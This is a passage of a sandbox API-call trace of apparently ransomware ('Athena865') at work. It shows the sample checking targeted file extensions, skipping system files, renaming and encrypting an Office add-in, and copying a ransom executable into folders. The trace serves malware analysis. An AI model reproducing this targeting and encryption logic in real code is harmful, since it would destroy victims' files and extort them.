lstrcmpiW (lpString1="LAM", lpString2="fmp") returned 1 [0152.563] lstrlenW (lpString="fmp12") returned 5 [0152.563] lstrcmpiW (lpString1=".XLAM", lpString2="fmp12") returned -1 [0152.563] lstrlenW (lpString="fmpsl") returned 5 [0152.563] lstrcmpiW (lpString1=".XLAM", lpString2="fmpsl") returned -1 [0152.563] lstrlenW (lpString="fol") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fol") returned 1 [0152.563] lstrlenW (lpString="fp3") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fp3") returned 1 [0152.563] lstrlenW (lpString="fp4") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fp4") returned 1 [0152.563] lstrlenW (lpString="fp5") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fp5") returned 1 [0152.563] lstrlenW (lpString="fp7") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fp7") returned 1 [0152.563] lstrlenW (lpString="fpt") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="fpt") returned 1 [0152.563] lstrlenW (lpString="frm") returned 3 [0152.563] lstrcmpiW (lpString1="LAM", lpString2="frm") returned 1 [0152.564] lstrlenW (lpString="gdb") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="gdb") returned 1 [0152.564] lstrlenW (lpString="gdb") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="gdb") returned 1 [0152.564] lstrlenW (lpString="grdb") returned 4 [0152.564] lstrcmpiW (lpString1="XLAM", lpString2="grdb") returned 1 [0152.564] lstrlenW (lpString="gwi") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="gwi") returned 1 [0152.564] lstrlenW (lpString="hdb") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="hdb") returned 1 [0152.564] lstrlenW (lpString="his") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="his") returned 1 [0152.564] lstrlenW (lpString="ib") returned 2 [0152.564] lstrcmpiW (lpString1="AM", lpString2="ib") returned -1 [0152.564] lstrlenW (lpString="idb") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="idb") returned 1 [0152.564] lstrlenW (lpString="ihx") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="ihx") returned 1 [0152.564] lstrlenW (lpString="itdb") returned 4 [0152.564] lstrcmpiW (lpString1="XLAM", lpString2="itdb") returned 1 [0152.564] lstrlenW (lpString="itw") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="itw") returned 1 [0152.564] lstrlenW (lpString="jet") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="jet") returned 1 [0152.564] lstrlenW (lpString="jtx") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="jtx") returned 1 [0152.564] lstrlenW (lpString="kdb") returned 3 [0152.564] lstrcmpiW (lpString1="LAM", lpString2="kdb") returned 1 [0152.565] lstrlenW (lpString="kexi") returned 4 [0152.565] lstrcmpiW (lpString1="XLAM", lpString2="kexi") returned 1 [0152.565] lstrlenW (lpString="kexic") returned 5 [0152.565] lstrcmpiW (lpString1=".XLAM", lpString2="kexic") returned -1 [0152.565] lstrlenW (lpString="kexis") returned 5 [0152.565] lstrcmpiW (lpString1=".XLAM", lpString2="kexis") returned -1 [0152.565] lstrlenW (lpString="lgc") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="lgc") returned -1 [0152.565] lstrlenW (lpString="lwx") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="lwx") returned -1 [0152.565] lstrlenW (lpString="maf") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="maf") returned -1 [0152.565] lstrlenW (lpString="maq") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="maq") returned -1 [0152.565] lstrlenW (lpString="mar") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="mar") returned -1 [0152.565] lstrlenW (lpString="marshal") returned 7 [0152.565] lstrcmpiW (lpString1="OL.XLAM", lpString2="marshal") returned 1 [0152.565] lstrlenW (lpString="mas") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="mas") returned -1 [0152.565] lstrlenW (lpString="mav") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="mav") returned -1 [0152.565] lstrlenW (lpString="maw") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="maw") returned -1 [0152.565] lstrlenW (lpString="mdbhtml") returned 7 [0152.565] lstrcmpiW (lpString1="OL.XLAM", lpString2="mdbhtml") returned 1 [0152.565] lstrlenW (lpString="mdn") returned 3 [0152.565] lstrcmpiW (lpString1="LAM", lpString2="mdn") returned -1 [0152.565] lstrlenW (lpString="mdt") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="mdt") returned -1 [0152.566] lstrlenW (lpString="mfd") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="mfd") returned -1 [0152.566] lstrlenW (lpString="mpd") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="mpd") returned -1 [0152.566] lstrlenW (lpString="mrg") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="mrg") returned -1 [0152.566] lstrlenW (lpString="mud") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="mud") returned -1 [0152.566] lstrlenW (lpString="mwb") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="mwb") returned -1 [0152.566] lstrlenW (lpString="myd") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="myd") returned -1 [0152.566] lstrlenW (lpString="ndf") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="ndf") returned -1 [0152.566] lstrlenW (lpString="nnt") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="nnt") returned -1 [0152.566] lstrlenW (lpString="nrmlib") returned 6 [0152.566] lstrcmpiW (lpString1="L.XLAM", lpString2="nrmlib") returned -1 [0152.566] lstrlenW (lpString="ns2") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="ns2") returned -1 [0152.566] lstrlenW (lpString="ns3") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="ns3") returned -1 [0152.566] lstrlenW (lpString="ns4") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="ns4") returned -1 [0152.566] lstrlenW (lpString="nsf") returned 3 [0152.566] lstrcmpiW (lpString1="LAM", lpString2="nsf") returned -1 [0152.566] lstrlenW (lpString="nv") returned 2 [0152.566] lstrcmpiW (lpString1="AM", lpString2="nv") returned -1 [0152.567] lstrlenW (lpString="nv2") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="nv2") returned -1 [0152.567] lstrlenW (lpString="nwdb") returned 4 [0152.567] lstrcmpiW (lpString1="XLAM", lpString2="nwdb") returned 1 [0152.567] lstrlenW (lpString="nyf") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="nyf") returned -1 [0152.567] lstrlenW (lpString="odb") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="odb") returned -1 [0152.567] lstrlenW (lpString="odb") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="odb") returned -1 [0152.567] lstrlenW (lpString="oqy") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="oqy") returned -1 [0152.567] lstrlenW (lpString="ora") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="ora") returned -1 [0152.567] lstrlenW (lpString="orx") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="orx") returned -1 [0152.567] lstrlenW (lpString="owc") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="owc") returned -1 [0152.567] lstrlenW (lpString="p96") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="p96") returned -1 [0152.567] lstrlenW (lpString="p97") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="p97") returned -1 [0152.567] lstrlenW (lpString="pan") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="pan") returned -1 [0152.567] lstrlenW (lpString="pdb") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="pdb") returned -1 [0152.567] lstrlenW (lpString="pdm") returned 3 [0152.567] lstrcmpiW (lpString1="LAM", lpString2="pdm") returned -1 [0152.567] lstrlenW (lpString="pnz") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="pnz") returned -1 [0152.568] lstrlenW (lpString="qry") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="qry") returned -1 [0152.568] lstrlenW (lpString="qvd") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="qvd") returned -1 [0152.568] lstrlenW (lpString="rbf") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="rbf") returned -1 [0152.568] lstrlenW (lpString="rctd") returned 4 [0152.568] lstrcmpiW (lpString1="XLAM", lpString2="rctd") returned 1 [0152.568] lstrlenW (lpString="rod") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="rod") returned -1 [0152.568] lstrlenW (lpString="rodx") returned 4 [0152.568] lstrcmpiW (lpString1="XLAM", lpString2="rodx") returned 1 [0152.568] lstrlenW (lpString="rpd") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="rpd") returned -1 [0152.568] lstrlenW (lpString="rsd") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="rsd") returned -1 [0152.568] lstrlenW (lpString="sas7bdat") returned 8 [0152.568] lstrcmpiW (lpString1="OOL.XLAM", lpString2="sas7bdat") returned -1 [0152.568] lstrlenW (lpString="sbf") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="sbf") returned -1 [0152.568] lstrlenW (lpString="scx") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="scx") returned -1 [0152.568] lstrlenW (lpString="sdb") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="sdb") returned -1 [0152.568] lstrlenW (lpString="sdc") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="sdc") returned -1 [0152.568] lstrlenW (lpString="sdf") returned 3 [0152.568] lstrcmpiW (lpString1="LAM", lpString2="sdf") returned -1 [0152.569] lstrlenW (lpString="sis") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="sis") returned -1 [0152.569] lstrlenW (lpString="spq") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="spq") returned -1 [0152.569] lstrlenW (lpString="te") returned 2 [0152.569] lstrcmpiW (lpString1="AM", lpString2="te") returned -1 [0152.569] lstrlenW (lpString="teacher") returned 7 [0152.569] lstrcmpiW (lpString1="OL.XLAM", lpString2="teacher") returned -1 [0152.569] lstrlenW (lpString="tmd") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="tmd") returned -1 [0152.569] lstrlenW (lpString="tps") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="tps") returned -1 [0152.569] lstrlenW (lpString="trc") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="trc") returned -1 [0152.569] lstrlenW (lpString="trc") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="trc") returned -1 [0152.569] lstrlenW (lpString="trm") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="trm") returned -1 [0152.569] lstrlenW (lpString="udb") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="udb") returned -1 [0152.569] lstrlenW (lpString="udl") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="udl") returned -1 [0152.569] lstrlenW (lpString="usr") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="usr") returned -1 [0152.569] lstrlenW (lpString="v12") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="v12") returned -1 [0152.569] lstrlenW (lpString="vis") returned 3 [0152.569] lstrcmpiW (lpString1="LAM", lpString2="vis") returned -1 [0152.569] lstrlenW (lpString="vpd") returned 3 [0152.570] lstrcmpiW (lpString1="LAM", lpString2="vpd") returned -1 [0152.570] lstrlenW (lpString="vvv") returned 3 [0152.570] lstrcmpiW (lpString1="LAM", lpString2="vvv") returned -1 [0152.570] lstrlenW (lpString="wdb") returned 3 [0152.570] lstrcmpiW (lpString1="LAM", lpString2="wdb") returned -1 [0152.570] lstrlenW (lpString="wmdb") returned 4 [0152.570] lstrcmpiW (lpString1="XLAM", lpString2="wmdb") returned 1 [0152.570] lstrlenW (lpString="wrk") returned 3 [0152.570] lstrcmpiW (lpString1="LAM", lpString2="wrk") returned -1 [0152.570] lstrlenW (lpString="xdb") returned 3 [0152.570] lstrcmpiW (lpString1="LAM", lpString2="xdb") returned -1 [0152.570] lstrlenW (lpString="xld") returned 3 [0152.570] lstrcmpiW (lpString1="LAM", lpString2="xld") returned -1 [0152.570] lstrlenW (lpString="xmlff") returned 5 [0152.570] lstrcmpiW (lpString1=".XLAM", lpString2="xmlff") returned -1 [0152.570] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.Athena865") returned 74 [0152.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam.athena865"), dwFlags=0x1) returned 1 [0152.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0152.578] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=403080) returned 1 [0152.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.579] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.579] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.579] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.580] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62990, lpName=0x0) returned 0x17c [0152.583] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62990) returned 0x2bb0000 [0152.652] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.652] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.653] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.653] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0152.657] CloseHandle (hObject=0x17c) returned 1 [0152.657] CloseHandle (hObject=0x154) returned 1 [0152.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.659] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d89d80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd3d89d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.659] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.659] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2=".") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="..") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="windows") returned -1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="bootmgr") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="temp") returned -1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="pagefile.sys") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="boot") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="ids.txt") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="ntuser.dat") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="perflogs") returned 1 [0152.659] lstrcmpiW (lpString1="SOLVER", lpString2="MSBuild") returned 1 [0152.659] lstrlenW (lpString="SOLVER") returned 6 [0152.659] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SOLVER" | out: lpString1="SOLVER") returned="SOLVER" [0152.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5523b0 [0152.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x53cb20 [0152.660] lstrcatW (in: lpString1="SOLVER", lpString2="\\" | out: lpString1="SOLVER\\") returned="SOLVER\\" [0152.660] lstrcatW (in: lpString1="SOLVER\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SOLVER\\HOW TO BACK YOUR FILES.exe") returned="SOLVER\\HOW TO BACK YOUR FILES.exe" [0152.660] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.663] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0152.663] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0152.665] ReleaseMutex (hMutex=0xec) returned 1 [0152.666] CloseHandle (hObject=0xec) returned 1 [0152.666] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0152.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53a0a0 | out: hHeap=0x4f0000) returned 1 [0152.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b6d8 | out: hHeap=0x4f0000) returned 1 [0152.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned 48 [0152.666] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8F79611D618177E6BE97F0E6A2F2BE85") returned 0xec [0152.666] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.666] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0152.666] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.666] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\media\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.668] GetLastError () returned 0x0 [0152.668] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.668] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.669] CloseHandle (hObject=0xf4) returned 1 [0152.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.669] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd40f5d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd40f5d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.669] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.669] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.669] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.669] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd40f5d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd40f5d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.669] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.669] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.669] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.669] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.669] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0152.669] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.669] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.669] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".") returned 1 [0152.669] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="..") returned 1 [0152.669] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="windows") returned -1 [0152.669] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="bootmgr") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="temp") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="pagefile.sys") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="boot") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="ids.txt") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="ntuser.dat") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="perflogs") returned -1 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2="MSBuild") returned -1 [0152.670] lstrlenW (lpString="APPLAUSE.WAV") returned 12 [0152.670] lstrcpyW (in: lpString1=0x241e8aa, lpString2="APPLAUSE.WAV" | out: lpString1="APPLAUSE.WAV") returned="APPLAUSE.WAV" [0152.670] lstrlenW (lpString="APPLAUSE.WAV") returned 12 [0152.670] lstrlenW (lpString="Athena865") returned 9 [0152.670] lstrcmpiW (lpString1="LAUSE.WAV", lpString2="Athena865") returned 1 [0152.670] lstrlenW (lpString=".dll") returned 4 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".dll") returned 1 [0152.670] lstrlenW (lpString=".lnk") returned 4 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".lnk") returned 1 [0152.670] lstrlenW (lpString=".ini") returned 4 [0152.670] lstrcmpiW (lpString1="APPLAUSE.WAV", lpString2=".ini") returned 1 [0152.670] lstrlenW 